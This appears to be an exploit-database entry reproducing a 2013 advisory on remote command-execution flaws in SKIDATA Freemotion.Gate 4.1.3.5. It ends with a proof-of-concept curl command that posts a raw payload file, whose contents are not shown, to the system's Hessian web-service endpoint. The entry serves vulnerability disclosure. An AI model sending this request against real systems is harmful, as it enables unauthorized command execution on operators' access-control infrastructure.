SKIDATA Freemotion.Gate - Web Services Multiple Command Execution Vulnerabilities

Author: Dennis Kelly
type: remote
platform: multiple
port: 
date_added: 2013-11-19 
date_updated: 2015-12-02 
verified: 1 
codes: OSVDB-100018 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/63805/info

SKIDATA Freemotion.Gate is prone to multiple remote command-execution vulnerabilities.

Attackers can exploit these issues to execute arbitrary commands in the context of the affected system.

SKIDATA Freemotion.Gate 4.1.3.5 is vulnerable; other versions may also be affected.

curl -X POST --header "Content-Type:text/xml" --data-binary @manual-release.raw http://www.example.com:7777/skidata/hessian/CP > /dev/null 2>&1